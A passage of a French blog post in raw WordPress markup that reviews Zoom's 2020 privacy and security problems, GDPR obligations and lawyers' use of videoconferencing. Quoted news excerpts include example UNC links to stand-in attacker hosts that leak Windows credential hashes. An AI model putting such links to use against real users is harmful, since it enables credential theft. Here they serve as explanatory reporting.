-->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Absence de chiffrage ou d’encryption</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>a Zoom spokesperson wrote, “Currently, it is not possible\nto enable E2E encryption for Zoom video meetings. Zoom video meetings use a\ncombination of TCP and UDP. TCP connections are made using TLS and UDP\nconnections are encrypted with AES using a key negotiated over a TLS\nconnection.”</li><li><em>On 4/3, Citizen Lab&nbsp;</em><em><a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;</em><em><a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\"\nencryption for meetings where possible. However, we find that in each Zoom\nmeeting, a single AES-128 key is used in ECB mode by all participants to\nencrypt and decrypt audio and video. The use of ECB mode is not recommended\nbecause patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom\npackets intercepted in Internet traffic, appear to be generated by Zoom\nservers, and in some cases, are delivered to participants in a Zoom meeting\nthrough servers in China, even when all meeting participants, and the Zoom\nsubscriber\'s company, are outside of China. </em><em><a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning:\nZoom Makes Encryption Keys In China (Sometimes)</em><em></em></li><li><em>Where is the EU DPA investigation?\nOnce again, Eu personal data is in between China interception and the US Cloud\nAct interception. Data sent outside the EU in China without users knowledge.\n\"As </em><em><a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its\nfindings to Zoom, saying it was in the public interest to release the\ninformation as soon as possible, the videoconferencing company wouldn’t have\nbeen aware of the findings. But Yuan assured that if user data was being\ntransferred to China when users weren’t even based there, “we are willing to\naddress that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de viseo-conference revelat\nle ID number du meeting et les images des participants accompagnées de leur noms\nou pseudonymes peut être considérées comme une rupture de confidentialité</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du\nconseil ou leur AG. </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés sur les manquements\nde cet outil, comme le New York Attorney General investigations demandant aux écoles\nde ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant, les cris d’alarmes continuent à se faire entendre contre\nl’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“</em><em><a href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\" rel=\"noreferrer noopener\">Jonathan\nLeitschuh</a>, exposed a\nflaw allowing hackers to&nbsp;<a href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\" rel=\"noreferrer noopener\">take over Zoom\nwebcams</a>. The letter\nnoted that the company did not address problem until after the Electronic\nPrivacy Information Center, a public interest research center,&nbsp;<a href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade\nCommission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;</em><em><a href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom</a>&nbsp;intentionally designed its web\nconferencing service to bypass browser security settings and remotely enable a\nuser\'s web camera without the knowledge or consent of the user. As a result,\nZoom exposed users to the risk of remote surveillance, unwanted videocalls, and\ndenial-of-service attacks,” the complaint alleged.</em>” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it</a></li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for\nOnline Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC\nto \"open an investigation of Zoom\'s business practices and to issue, as\nsoon as practicable, Best Practices for Online Conferencing Services.\"\nHere’s the press release: </em><em><a href=\"https://lnkd.in/epjxHgw\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/epjxHgw</strong></a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing.\n“Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds\nof profane and racist comments. Needless to say, I am familiarizing myself with\nthese platforms’ privacy and security features, too. My office has been in\ncontact with representatives from Zoom to address this and other issues relating\nto online security and privacy,” said Attorney General Tong. “ In the meantime,\nAttorney General Tong encouraged everyone to practice safer video conferencing\nby: • Ensuring that your video conference software is up to date. • Confirming\nthat your conferences are private, either by requiring a password for entry or\ncontrolling guest access through a virtual waiting room. • Checking that the\nhighest security settings are applied for your teleconference platform. •\nConsult your software company’s security information or your IT department.\nHere\'s the press release: </em><em><a href=\"https://lnkd.in/gRcq9x2\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/gRcq9x2</strong></a><strong>”</strong></em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être\nla responsabilité des juristes en matière de traitement des données consécutifs\na l’utilisation d’une application qui a ete soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. 